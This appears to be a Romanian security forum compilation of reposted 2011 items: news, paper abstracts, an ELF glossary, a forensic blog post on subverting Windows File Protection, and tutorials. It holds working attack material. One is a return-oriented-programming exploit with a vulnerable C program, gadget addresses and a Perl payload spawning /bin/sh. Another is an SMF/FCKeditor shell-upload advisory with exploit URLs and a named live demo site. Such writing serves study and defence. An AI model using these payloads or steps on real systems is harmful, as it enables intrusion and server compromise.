Nytro

Aceasta arie a evoluat mult si repede, la noi intelesesem ca exista 3 firme in domeniu, dar nu stiu care si cu ce se ocupa mai exact, probabil ceea ce fac nu e tocmai pen-testing. In afara deja e o industrie in care se castiga mult, in functie de firma si renumele ei, dar si de ce face mai exact. De exemplu Vupen, cei cu exploit-ul in Chrome ce trecea de sandbox, lucreaza indeosebi cu guvernele si cei care lucreaza acolo au venituri considerabile. Conteaza mult si o certificare, dar nu rahaturi ca Ethical Hacking, ci certificari de la Offeinsive Security, SANS, Immunity si probabil altele. Nu se pune accentul pe XSS/SQLI si rahaturi dinastea ci mai mult pe exploit development, buffer overflows si return oriented programming. Daca cauti ceva pe parte de web, nu stiu ce sanse ai sa prinzi ceva, poate doar daca desscoperi tehnici noi sau stii toate rahaturile indiferent cat de marunte sunt de web security.

Senseg a creat primul ecran tactil senzorial 07.12.2011 Senseg este compania japonez? care a reu?it s? creeze primul prototip func?ional al unui ecran touch cu func?ie senzorial?. Senseg a creat primul ecran tactil senzorial Mai exact, suprafa?a acestui ecran poate reda o varietate de senza?ii fizice la atingere, imitând textura obiectelor afi?ate pe ecran. Ecranul botezat "Feel Screen", func?ioneaz? prin aplicarea unor câmpuri electrostatice care sunt sim?ite la atingere ?i interpretate asemenea unor senza?ii tactile reale. Potrivit companiei produc?toare, efectul este ob?inut prin crearea ?i controlarea unei mici for?e de atrac?ie, ap?rut? între suprafa?a ecranului ?i degetele utilizatorilor. Tehnologia permite simularea unei palete variate de texturi ?i efecte, cum ar fi suprafe?e aspre, muchii ?i vibra?ii. Senseg a creat primul ecran tactil senzorial Senseg promite c? ne vom putea bucura de noua experien?? senzorial? indiferent de dimensiunea ecranului. Ca ?i avantaje, noua tehnologie poate îmbun?t??i experien?a utiliz?rii tastaturilor touch, ad?ugând o separare perceptibil? între tastele virtuale reprezentate pe ecran. Versiunile comerciale ale ecranului "Feel Screen" sunt preg?tite pentru produc?ie de mas? chiar din decursul anului viitor, îns? primele dispozitive care încorporeaz? un astfel de ecran probabil nu vor ap?rea în magazine mai devreme de anul 2013. Sursa: Vr-zone.com Via: Senseg a creat primul ecran tactil senzorial

[h=1]DNS Spoofing plus WPAD equals Compromised[/h] How hard is it for someone to insert a proxy between you and the rest of the Internet without you knowing? Will running a Mac or Linux protect you? In this episode we combine the concepts from Episode 20 with the WPAD style attack that was discussed back in Episode 17, creating a quick and easy how-to when it comes to creating a man in the middle attack that will work against any system that has Automatic Proxy Discovery enabled. This feature is sometimes thought to be a Windows specific issue, but as we demonstrate here by transparently creating a man in the middle proxy for a Mac, it really does apply everywhere. There are just a few simple pieces that you need to accomplish this attack and there are some quick and easy things that you can do to defend yourself or that you can look for during an audit. For more details and a link to the source code, please check the Blog article here: IT Security Audit: What About WPAD?

[h=1]C++0x feature support in GCC 4.5[/h] Arpan Sen (arpansen@gmail.com), Independent author Summary: If you're one of the many users of the GCC C++ compiler, you should be aware of the new features that the upcoming C++0x specification has in store and available in GCC version 4.5. Introduction The GNU Compiler Collection (GCC) is the C++ compiler to the vast majority of us and has taken the lead in supporting features from the upcoming C++0x standard (see Resources for links to more information). This article focuses on a subset of several C++0x features that GCC version 4.5 supports, including static assertions, initializer lists, type narrowing, newer semantics of the auto keyword, lambda functions, and variadic templates. Some of these features—like static assertions—first made their appearance in GCC version 4.3, while lambda functions first appeared with the 4.5 release. If you intend to be one of the early adopters of C++0x, consider getting a copy of the draft standard and download GCC 4.5 (see Resources). Let's begin by briefly discussing parts of the C++0x standard that are not yet supported in GCC Static assertions Remember those times when your portable code crashed at a customer site, because integer sizes were not the 4 bytes you assumed them to be? The static_assert construct in C++0x helps track precisely these kind of problems, except that they are available at compile time and immensely useful when you need to migrate sources to different platforms. Boost libraries (see Resources) have had support for static assertions for some time now, but having static assertions integrated as part of the language core (static_assert is a C++0x keyword) implies that headers are no longer needed (see Listing 1). ................................... Download: http://public.dhe.ibm.com/software/dw/aix/au-gcc-pdf.pdf Online: http://www.ibm.com/developerworks/aix/library/au-gcc/index.html

Attacking Intel TXT via SINIT code execution hijacking Rafal Wojtczuk rafal@invisiblethingslab.com Joanna Rutkowska joanna@invisiblethingslab.com November 2011 Abstract We present a software attack against Intel® TXT that exploits an implementation problem within a so called SINIT module. The attack allows to fully bypass Intel TXT, Intel Launch Control Policy (LCP), and additionally also provides yet-another-way to compromise SMM code on the platform. Download: http://www.invisiblethingslab.com/resources/2011/Attacking_Intel_TXT_via_SINIT_hijacking.pdf

[h=2]Executable and Linkable Format (ELF)[/h] [TABLE] [TR] [TD]ABI[/TD] [TD]Application binary interface[/TD] [/TR] [TR] [TD]a.out[/TD] [TD]Assembler output file format[/TD] [/TR] [TR] [TD]BSS[/TD] [TD]Block started by symbol. The uninitialized data segment containing statically-allocated variables.[/TD] [/TR] [TR] [TD]COFF[/TD] [TD]Common object file format[/TD] [/TR] [TR] [TD]DTV[/TD] [TD]Dynamic thread vector (for TLS)[/TD] [/TR] [TR] [TD]DWARF[/TD] [TD]A standardized debugging data format[/TD] [/TR] [TR] [TD]GD[/TD] [TD]Global Dynamic (dynamic TLS) One of the Thread-Local Storage access models.[/TD] [/TR] [TR] [TD]GOT[/TD] [TD]Global offset table[/TD] [/TR] [TR] [TD]IE[/TD] [TD]Initial Executable (static TLS with assigned offsets) One of the Thread-Local Storage access models.[/TD] [/TR] [TR] [TD]LD[/TD] [TD]Local Dynamic (dynamic TLS of local symbols) One of the Thread-Local Storage access models.[/TD] [/TR] [TR] [TD]LE[/TD] [TD]Local Executable (static TLS) One of the Thread-Local Storage access models.[/TD] [/TR] [TR] [TD]Mach-O[/TD] [TD]Mach object file format[/TD] [/TR] [TR] [TD]PC[/TD] [TD]Program counter. On x86, this is the same as IP (Instruction Pointer) register.[/TD] [/TR] [TR] [TD]PE[/TD] [TD]Portable executable[/TD] [/TR] [TR] [TD]PHT[/TD] [TD]Program header table[/TD] [/TR] [TR] [TD]PIC[/TD] [TD]Position independent code[/TD] [/TR] [TR] [TD]PIE[/TD] [TD]Position independent executable[/TD] [/TR] [TR] [TD]PLT[/TD] [TD]Procedure linkage table[/TD] [/TR] [TR] [TD]REL RELA[/TD] [TD]Relocation[/TD] [/TR] [TR] [TD]RVA[/TD] [TD]Relative virtual address[/TD] [/TR] [TR] [TD]SHF[/TD] [TD]Section header flag[/TD] [/TR] [TR] [TD]SHT[/TD] [TD]Section header table[/TD] [/TR] [TR] [TD]SO[/TD] [TD]Shared object (another name for dynamic link library)[/TD] [/TR] [TR] [TD]VMA[/TD] [TD]Virtual memory area/address[/TD] [/TR] [/TABLE] [h=2]Useful books and references[/h] ELF man page System V Application Binary Interface AMD64 System V Application Binary Interface The gen on function calling conventions Section II of Linux Standard Base 4.0 Core Specification Self-Service Linux: Mastering the Art of Problem Determination by Mark Wilding and Dan Behman Solaris Linker and Libraries Guide Linkers and Loaders by John Levine Understanding Linux ELF RTLD internals by mayhem (this article gives you an idea how the runtime linker ld.so works) ld.so man page Prelink by Jakub Jelinek (and prelink man page) Resurse: http://www.acsu.buffalo.edu/~charngda/elf.html

[h=2]Tuesday, 06 December 2011[/h] [h=3]Manipulating Windows File Protection and Indicators of Compromise[/h] In my previous blog post I wrote about how when searching for malicious processes, it helps to know about Windows File Protection and how it works. Harlan Carvey commented about how he didn't see the connection between my mentioning WFP and hunting for malware. So, in this blog post, I thought I would clarify, as well as discuss how WFP can be subverted and what indicators of compromise that would leave behind. Let's start with my methodology for hunting malware. Basically, WFP prevents a user from altering a legitimate windows process. If an attempt is made to alter one such file, the user will be informed that an attempt to alter a Windows protected file has taken place and either the alteration will simply be prevented from making a change, or the file will be copied from the version that is stored in dllcache. Here is an example of file modification being prevented: c:\Windows\System32>echo test123 >> dllhost.exe Access is denied. Here is an example of what the error looks like in the system logs: c:\tw_pogue1\CEPOGUE-NGQ83PM\vol\evt_sys.txt: 506,System,Windows File Protection,INFORMATION,CEPOGUE-NGQ83PM,11/23/2011 10:05:42 AM,64001,None,"File replacement was attempted on the protected system file dllhost.exe. This file was restored to the original version to maintain system stability. The file version of the bad file is 5.1.2600.2180, the version of the system file is 5.1.2600.2180." So, what many attackers will do, is slightly misspell the names of legitimate binaries so as to make them "look" like legitimate ones...something I call, "malware subterfuge". So instead of using the name, "dllhost.exe", they will use something like, "dl1host.exe" or, "dllhsot.exe". Alternatively, they can use the legitimate name if it's not in the same directory as the legitimate Windows binary. So, instead of making using, "C:\Windows\system32\dllhost.exe" they will use, "C:\Windows\System32\drivers\dllhost.exe". Because of WFP, spotting malware can be easier for investigators who know what they are looking for. Also, you can see that WFP makes it difficult for an attacker to name their binary a legitimate Windows name, from a legitimate directory. Difficult, but not impossible. As Harlan correctly pointed out on his blog, " Windows Incident Response", WFP can be disabled. This may sound scary, but actually happens all the time when Windows makes updates to existing files through the Windows Update process. Additionally, Harlan documented this process briefly in his book, "Windows Forensic Analysis, Second Edition" on pages 328 - 330. As Harlan states, "I found that there is reportedly an undocumented API call called SfcFileException (www.bitsum.com/aboutwfp) that will allegedly suspend WFP for one minute. WFP "listens" for file changes and "wakes up" when a file change event occurs for one of the designated protected files, and does not poll the protected files on a regular basis to determine whether any have been modified in some way. Suspending WFP for one minute is more than enough time to infect a file, and once WFP resumes there is no other way for it to detect that that a protected file has been modified." Later, in a conversation with Harlan, we talked about the frequency of just such an attack. Personally, I have never seen this, and Harlan indicated that he has only seen it a few times. So, this was one of those things that is heavy in theory and light in research. So, I wanted to see what it would really look like if I disabled WFP and made a modification to a protected file. Would it leave behind any indicators of compromise in memory, event logs, or a forensic timeline? My first step in answering these questions was to get a hold of the tools mentioned by Harlan from Bitsum Technology. I contacted the developer, who was gracious enough to send me a copy for research. I have left his name out of this post for privacy (No, I will not release his code, so don't ask!). If you want to do your own research, feel free to visit Bitsum Technologies like I did. With my copy of WFP_deprotect in "hand", I copied it to a Windows XP VM that I use for malware analysis. To keep things simple (as I am only trying to illustrate the potential of the tool, and the IOC left behind by modification) I decided to only append a series of capital, "AAAA"s to the end of a protected file. So, I stopped WFP: ? Next, let's take a MD5 checksum of dllhost.exe for validation that we have successfully modified our target file. c:\Windows\System32>md5deep dllhost.exe a63dc5c2ea944e6657203e0c8edeaf61 c:\Windows\System32\dllhost.exe OK, next, I ran a strings against the target file so make sure there was not the same string content that I decided to use. In this case, a series of upper case letter "A"s. C:\test>strings c:\WINDOWS\system32\dllhost.exe | grep AAAAAAAA Now, I am going to simply append 20 upper case "A"s to the end of the target file. C:\test>echo AAAAAAAAAAAAAAAAAAAA >> c:\WINDOWS\system32\dllhost.exe Let's run strings against the target file to see if the modification took. C:\test>strings c:\WINDOWS\system32\dllhost.exe | grep AAAAA AAAAAAAAAAAAAAAAAAAA <-- This is the results of the grep search. Now let's check the MD5 checksum of the target file to see if it changed...as you can see by comparing it to the value from our initial MD5, it didn. C:\test>md5deep c:\WINDOWS\system32\dllhost.exe 6fb2c878750a84946efacfc50c8e1f59 c:\WINDOWS\system32\dllhost.exe Finally, I waited the minute that it would take for WFP to kick back on, and I rebooted the system. Then, I ran strings against the target file again, and check it out...my "A"s are now at the end of the file. Mission accomplished. I successfully edited a file that was protected by WFP. Once WFP kicked back on, the modified version of the target file is now the version that the system considers to be "good". Any attempt to modified the new version of the WFP protect file by users, or AV, or anything else (except by the same means that I used to modify the file in the first place) would be stopped. Now, my change was relatively simple...I just threw some "A"s at the end of the file. Think about the implications if I had more nefarious goals in mind. I could modify a WFP protected file, allowing it to maintain its original functionality while maybe appending a key logger, or memory dumper to the end of the file. Now, the new weaponized process would have a legitimate Windows name, run from a legitimate directory, BECAUSE it would actually BE the legitimate file as far as the operating system was concerned. OK, so let's say I am working a case where this actually happened. My initial effort to detect malware would not yield any results because all of the running processes would have their expected names, and be running from their expected directories. So now what? Are we all hosed if we run into this, or are there IOCs that would be left behind by this kind of modification? Well, don't lose faith, because there indeed ARE IOCs...which I am about to explain... First of all, the forensic timeline (one of my favorite tools) would show access and modification times that would be updated: Below are the entries from the Master File Table ($MFT), the Standard_Information (SI) attribute is on the top (above the file name), and the File_Name (FN) attribute are on the bottom (below the file name). Notice the Access and Change dates are Nov 23, 2011, which is the date I ran my test. M: Wed Nov 23 15:35:37 2011 Z A: Wed Nov 23 16:04:46 2011 Z C: Wed Nov 23 16:04:28 2011 Z B: Wed Nov 23 15:35:37 2011 Z FN: dllhost.exe Parent Ref: 865 Parent Seq: 3 M: Wed Nov 23 15:35:37 2011 Z A: Wed Nov 23 15:35:54 2011 Z C: Wed Nov 23 15:48:56 2011 Z B: Wed Nov 23 15:35:37 2011 Z M: Wed Nov 23 16:07:57 2011 Z A: Wed Nov 23 16:23:54 2011 Z C: Wed Nov 23 16:23:54 2011 Z B: Thu Aug 23 12:00:00 2001 Z FN: dllhost.exe Parent Ref: 29 Parent Seq: 1 M: Wed Aug 4 06:56:50 2004 Z A: Wed Nov 23 16:05:41 2011 Z C: Wed Nov 23 16:05:42 2011 Z B: Wed Jan 26 20:37:00 2011 Z Remember our error from the system event logs? Let's take a closer look in conjunction with the timeline data... c:\tw_pogue1\CEPOGUE-NGQ83PM\vol\evt_sys.txt: 506,System,Windows File Protection,INFORMATION,CEPOGUE-NGQ83PM,11/23/2011 10:05:42 AM,64001,None,"File replacement was attempted on the protected system file dllhost.exe. This file was restored to the original version to maintain system stability. The file version of the bad file is 5.1.2600.2180, the version of the system file is 5.1.2600.2180. Within two (2) seconds, the original file from the ServicePackFile directory is accessed, created again in the LastGood directory, accessed in dllcache, and the modified back to its original state in the system32 directory. Wed Nov 23 2011 10:05:41,5120,.a..,r/rrwxrwxrwx,0,0,32127-128-3,"C:/WINDOWS/ServicePackFiles/i386/dllhost.exe" Wed Nov 23 2011 10:05:41,5126,.acb,r/rrwxrwxrwx,0,0,974-128-4,"C:/WINDOWS/LastGood/system32/dllhost.exe" Wed Nov 23 2011 10:05:47,5120,.ac.,r/rrwxrwxrwx,0,0,978-128-1,"C:/WINDOWS/system32/dllcache/dllhost.exe" Wed Nov 23 2011 10:07:57,5166,m...,r/rrwxrwxrwx,0,0,975-128-3,"C:/WINDOWS/system32/dllhost.exe" OK...so we can see the attempted change, but what about the actual change? Is there any evidence of that? Well...not really, no. I ran my volatile collection script against the VM which gathers a huge amount of data as well as the contents of memory. Apart from dllhost.exe being present, apart from the timeline, there were not any IOCs of modification. Pretty scary huh! So, what can we learn from testing this type of attack? First of all, knowing that this type of attack vector exists is a good start! Second, it underscores the importance of creating a forensic timeline, and understanding how to read its contents. Third, it is critically important to conduct live analysis in cases where you suspect that malware is present. Simply relying on AV signatures to identify and prevent malicious process from being executed is just not going to be effective anymore. Good investigators are going to need to start getting better at behavioral analysis, and being well versed enough with how operating systems "should" run under "normal" conditions so that they can quickly identify spot something that is "abnormal". Finally, we are going to have to get better at identifying multiple data points that all indicate the same activity did (or did not) take place. For example, simply identifying the presence of a file would be a single data point. However, if you identify the presence of that same file AND can match that up with an entry in the event logs AND see timeline activity, AND have live analysis data that show "unusual" behavior, THEN you may have something a bit more noteworthy. In such a case, you could use that intel to help identify the likely malicious process, and extract it for further analysis. So bottom line, while this is a relatively simple attack, it can present an extremely difficult scenario for an forensic investigator to successfully identify. Successful detection will require a combination of techniques, that yield multiple data points that will need to be expertly strung together so that a meaningful theory can be formulated. Posted by Chris Pogue on Tuesday, 06 December 2011 at 08:24 AM Sursa: Manipulating Windows File Protection and Indicators of Compromise - SpiderLabs Anterior

[h=1]Facebook Flaw Exposes Private Photos[/h] By Kim Zetter December 6, 2011 | 1:27 pm A flaw in Facebook’s image reporting tool allows users to view the private photos of other users, including those of Facebook founder Mark Zuckerberg — like the one at the top of this story. The flaw was found by members of a bodybuilding forum, who discovered that if they reported a public Facebook photo for abuse – using the tool that Facebook offers to report nudity or pornography – they could access other nonpublic photos for the same user they’re reporting, according to ZDNET. Facebook’s tool asks the reporting user to help Facebook “take action by selecting additional photos to include with your report” then displays a handful of other private photos belonging to the individual that’s being reported. The person reporting the abuse, can then rifle through the user’s other images. Members of the bodybuilder forum used the flaw to peruse the images of women they found attractive. They then targeted Zuckerberg and began viewing his private photos, and posted some of them to an image site. Facebook told ZDNET it’s investigating. The FTC recently slapped Facebook’s hand for deceiving users into thinking that their information would be kept private, although it was “repeatedly” shared with the public. The deal, which carries no financial penalties, demands that the social-networking site obtain “express consent” of their 850 million users before their information “is shared beyond the privacy settings they have established.” Sursa: Facebook Flaw Exposes Private Photos | Threat Level | Wired.com

Advanced Return-Oriented Exploit By funkyG on May 5th, 2010 This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc. A vulnerable program that I am going to use is a modified version of gera’s in [1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below: #include #include #include int func(char *msg) { char buf[80]; strcpy(buf,msg); buf[0] = toupper(buf[0]); strcpy(msg,buf); [URL="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"]printf[/URL](“Caps: %s\n“,msg); exit(1); } int main(int argv, char** argc) { func(argc[1]); } 1. Vulnerability There is a classic strcpy vulnerability in the func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program: 080484b4 : 80484b4: 55 push %ebp 80484b5: 89 e5 mov %esp,%ebp 80484b7: 83 ec 58 sub $0×58,%esp 80484ba: 8b 45 08 mov 0×8(%ebp),%eax 80484bd: 89 44 24 04 mov %eax,0×4(%esp) 80484c1: 8d 45 b0 lea -0×50(%ebp),%eax 80484c4: 89 04 24 mov %eax,(%esp) 80484c7: e8 04 ff ff ff call 80483d0 80484cc: 0f b6 45 b0 movzbl -0×50(%ebp),%eax 80484d0: 0f be c0 movsbl %al,%eax 80484d3: 89 04 24 mov %eax,(%esp) 80484d6: e8 d5 fe ff ff call 80483b0 80484db: 88 45 b0 mov %al,-0×50(%ebp) 80484de: 8d 45 b0 lea -0×50(%ebp),%eax 80484e1: 89 44 24 04 mov %eax,0×4(%esp) 80484e5: 8b 45 08 mov 0×8(%ebp),%eax 80484e8: 89 04 24 mov %eax,(%esp) 80484eb: e8 e0 fe ff ff call 80483d0 80484f0: 8b 45 08 mov 0×8(%ebp),%eax 80484f3: 89 44 24 04 mov %eax,0×4(%esp) 80484f7: c7 04 24 00 86 04 08 movl $0×8048600,(%esp) 80484fe: e8 dd fe ff ff call 80483e0 8048503: c7 04 24 01 00 00 00 movl $0×1,(%esp) 804850a: e8 e1 fe ff ff call 80483f0 0804850f : 804850f: 8d 4c 24 04 lea 0×4(%esp),%ecx 8048513: 83 e4 f0 and $0xfffffff0,%esp 8048516: ff 71 fc pushl -0×4(%ecx) 8048519: 55 push %ebp 804851a: 89 e5 mov %esp,%ebp 804851c: 51 push %ecx 804851d: 83 ec 14 sub $0×14,%esp 8048520: 8b 41 04 mov 0×4(%ecx),%eax 8048523: 83 c0 04 add $0×4,%eax 8048526: 8b 00 mov (%eax),%eax 8048528: 89 04 24 mov %eax,(%esp) 804852b: e8 84 ff ff ff call 80484b4 8048530: 83 c4 14 add $0×14,%esp 8048533: 59 pop %ecx 8048534: 5d pop %ebp 8048535: 8d 61 fc lea -0×4(%ecx),%esp 8048538: c3 ret 080484b4 : 80484b4: 55 push %ebp 80484b5: 89 e5 mov %esp,%ebp 80484b7: 83 ec 58 sub $0×58,%esp 80484ba: 8b 45 08 mov 0×8(%ebp),%eax 80484bd: 89 44 24 04 mov %eax,0×4(%esp) 80484c1: 8d 45 b0 lea -0×50(%ebp),%eax 80484c4: 89 04 24 mov %eax,(%esp) 80484c7: e8 04 ff ff ff call 80483d0 80484cc: 0f b6 45 b0 movzbl -0×50(%ebp),%eax 80484d0: 0f be c0 movsbl %al,%eax 80484d3: 89 04 24 mov %eax,(%esp) 80484d6: e8 d5 fe ff ff call 80483b0 80484db: 88 45 b0 mov %al,-0×50(%ebp) 80484de: 8d 45 b0 lea -0×50(%ebp),%eax 80484e1: 89 44 24 04 mov %eax,0×4(%esp) 80484e5: 8b 45 08 mov 0×8(%ebp),%eax 80484e8: 89 04 24 mov %eax,(%esp) 80484eb: e8 e0 fe ff ff call 80483d0 80484f0: 8b 45 08 mov 0×8(%ebp),%eax 80484f3: 89 44 24 04 mov %eax,0×4(%esp) 80484f7: c7 04 24 00 86 04 08 movl $0×8048600,(%esp) 80484fe: e8 dd fe ff ff call 80483e0 8048503: c7 04 24 01 00 00 00 movl $0×1,(%esp) 804850a: e8 e1 fe ff ff call 80483f0 0804850f : 804850f: 8d 4c 24 04 lea 0×4(%esp),%ecx 8048513: 83 e4 f0 and $0xfffffff0,%esp 8048516: ff 71 fc pushl -0×4(%ecx) 8048519: 55 push %ebp 804851a: 89 e5 mov %esp,%ebp 804851c: 51 push %ecx 804851d: 83 ec 14 sub $0×14,%esp 8048520: 8b 41 04 mov 0×4(%ecx),%eax 8048523: 83 c0 04 add $0×4,%eax 8048526: 8b 00 mov (%eax),%eax 8048528: 89 04 24 mov %eax,(%esp) 804852b: e8 84 ff ff ff call 80484b4 8048530: 83 c4 14 add $0×14,%esp 8048533: 59 pop %ecx 8048534: 5d pop %ebp 8048535: 8d 61 fc lea -0×4(%ecx),%esp 8048538: c3 ret 2. Observation and Strategy We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of printf function. GOT is typically in the code section of a program and its address is not randomized. Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section’s addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav [2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available. The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc’s strcpy function from the GOT, 2) compute the relative address from strcpy function to system function, 3) obtain the address of the system function from the step 1 and 2, 4) set up the stack to have a pointer to “/bin/sh” string, 5) jump to the system function using indirect call (call *%eax). 3. Gadgets We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation. 1) 0x80485a2 : add $0xc,%esp 0x80485a5 : pop %ebx 0x80485a6 : pop %esi 0x80485a7 : pop %edi 0x80485a8 : pop %ebp 0x80485a9 : ret 2) 0x804838c : pop %eax 0x804838d : pop %ebx 0x804838e : leave 0x804838f : ret 3) 0x80485ce : add 0xf475fff8(%ebx),%eax 0x80485d4 : add $0×4,%esp 0x80485d7 : pop %ebx 0x80485d8 : pop %ebp 0x80485d9 : ret 4) 0x80484af : call *%eax 4. Final Exploit Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved: 1) It dynamically retrieves system function’s address from the GOT 2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously. 3) Set up the stack address to have enough space for system call. First, the second gadget sets up the eax and ebx values that are used in the third gadget to compute the system function’s address. The result of the “add 0xf475fff8(%ebx), %eax” instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy’s GOT entry, so the strcpy’s address in libc is added with the value in eax register. Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section. The final exploit in perl is shown below: print “\xa2\x85\x04\x08? . # First Gadget “AAAAAAAA” . # dummy “\xe8\xa2\x04\x08? . # set ebp, poing to line 9 of this exploit string “\x8c\x83\x04\x08? . # Second gadget “\xc0\x52\xfc\xff” .“\x14\xa0\x8e\x13AAAA” . “/bin/sh;” . “A”x48 . “\x10\xa0\x04\x08? . # GOT entry address of printf “\x30\xa0\x04\x08?x0xa0 . # dummy “\xce\x85\x04\x08? . “\x30\xa0\x04\x08?x0x2 . # dummy “\x30\xa0\x04\x08? . # dummy ebp “\xaf\x84\x04\x08? . # call *%eax “\x30\xa0\x04\x08?; I also attach the binary file for people who are interested. (Download) 5. Conclusion There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc. Sursa: Advanced Return-Oriented Exploit | divine-protection.com

[h=2]MS11-080 – A Voyage into Ring Zero[/h] Posted Dec 6 2011 by dookie with Comments Off Every patch Tuesday, we, like many in the security industry, love to analyze the released patches and see if any of them can lead to the development of a working exploit. Recently, the MS11-080 advisory caught our attention as it afforded us the opportunity to play in the kernel and try to get a working privilege escalation exploit out of it. Articol: http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/

I Know Where You are and What You are Sharing Exploiting P2P Communications to Invade Users’ Privacy Stevens Le Blond Chao Zhang Arnaud Legout Keith Ross Walid Dabbous MPI-SWS, Germany NYU-Poly, USA INRIA, France ABSTRACT In this paper, we show how to exploit real-time communication applications to determine the IP address of a targeted user. We focus our study on Skype, although other realtime communication applications may have similar privacy issues. We first design a scheme that calls an identifiedtargeted user inconspicuously to find his IP address, which can be done even if he is behind a NAT. By calling the user periodically, we can then observe the mobility of the user. We show how to scale the scheme to observe the mobility patterns of tens of thousands of users. We also consider the linkability threat, in which the identified user is linked to his Internet usage. We illustrate this threat by combining Skype and BitTorrent to show that it is possible to determine the filesharing usage of identified users. We devise a scheme based on the identification field of the IP datagrams to verify with high accuracy whether the identified user is participating in specific torrents. We conclude that any Internet user can leverage Skype, and potentially other real-time communication systems, to observe the mobility and filesharing usage of tens of millions of identified users. Download: http://cis.poly.edu/~ross/papers/skypeIMC2011.pdf

[h=1]VoIP Hopper Video Tutorials[/h] By Irfan Shakeel Posted in: Open Source, Tutorial, VoIP, Wireless As we have discussed before about VoIP hopper the IP based phone VLAN (virtual LAN) hopper, in the previous tutorial we have seen the theoretical background and the feature of VoIP hopper but in this article we will share three videos of VoIP hopper in which you will see the functionality of voip hopper. [h=3]Tutorial 1: Assessment Mode video tutorial for VoIP Hopper[/h] A tutorial demonstrating the new, exciting features for Assessment mode. Until I can integrate DHCP spoofing for Avaya/Nortel into assessment mode, I've also shown how to do both Avaya and Nortel VLAN discovery at the end of the video. [h=3]Tutorial 2: LLDP-MED features of VoIP Hopper[/h]A tutorial demonstrating the new LLDP-MED capabilities. [h=3]Tutorial 3: Hotel Exploit Demo ~ When DHCP is disabled[/h]A tutorial demonstrating the same live demo showed at DefCon 19, in which DHCP was disabled on the VoIP VLAN subnet. VoIP Hopper can still VLAN Hop and spoof the IP and MAC address of an IP Phone, as selected by the user. This is a demonstration of the "s" option of Assessment mode. Sursa: VoIP Hopper Video Tutorials

SMF Portal 1.1.15 Shell Upload Authored by HELLBOY SMF Portal version 1.1.15 suffers from a shell upload vulnerability Posted Dec 6, 2011 In The Name Of GOD ============================================================================== SMF Portal 1.1.15 (fckeditor) Arbitrary File Upload Vulnerability ============================================================================== [»] Title : [ SMF Portal 1.1.15 (fckeditor) Arbitrary File Upload Vulnerability ] [»] TestedON: [ LINUX ] [»] Download: [ http://www.simplemachines.org/ ] [»] Author : [ HELLBOY } [»] Email : [ A68_HELLBOY@YAHOO.COM ] [»] Date : [ 2011-12-2 ] [»] Version : [ 1.1.15 ] [»] Dork : [ "Powered by SMF 1.1.15" ] ########################################################################### InformatioN : 1. Go to url : http://Target/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php 2. SELECT You'r Shell and Click OK. 3. Formats can be uploaded (Php6,Jpg,gif,Xml,...) 4. Uploaded File Location : Target.com/tp-images/File/File Name ########################################################################### ===[ Exploit ]=== [»] http://Target/[patch]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php [»] http://Target/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php ===[ Demo ]=== [»] http://theartglassfactory.com/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php ===[ We Are : ./Iranian HackerZ ]=== Greetz : BLACK.VIPER , SKOTE_VAHSHAT , KINGCOPE TBH : HELLBOY , BLACK.VIPER , SKOTE_VAHSHAT , KINGCOPE ########################################################################### Sursa: http://packetstormsecurity.org/files/107543

Weaning the Web off of Session Cookies Making Digest Authentication Viable Version 1.0 Timothy D. Morgan January 26, 2010 Contents Abstract...........................................................................................................................................................1 Introduction....................................................................................................................................................1 Cookie-based Session Management.............................................................................................................1 HTTP Digest Authentication.......................................................................................................................2 RFC 2069 Mode................................................................................................................................................................................2 auth Mode..........................................................................................................................................................................................2 auth-int Mode....................................................................................................................................................................................3 Comparison....................................................................................................................................................3 Pitfalls of Cookie-based Sessions..................................................................................................................................................3 Limitations of Digest Authentication...........................................................................................................................................5 Comparison Summary.....................................................................................................................................................................6 Possible Solutions...........................................................................................................................................8 Form-based HTTP Authentication...............................................................................................................................................8 Approaches for Logout...................................................................................................................................................................9 Practical Concerns.......................................................................................................................................11 Immature Digest Implementations.............................................................................................................................................11 Weak User Interfaces for HTTP Authentication....................................................................................................................11 Application Server Support.........................................................................................................................................................13 Conclusion....................................................................................................................................................14 Acknowledgements.....................................................................................................................................14 References.....................................................................................................................................................15 Download: http://vsecurity.com/download/papers/WeaningTheWebOffOfSessionCookies.pdf

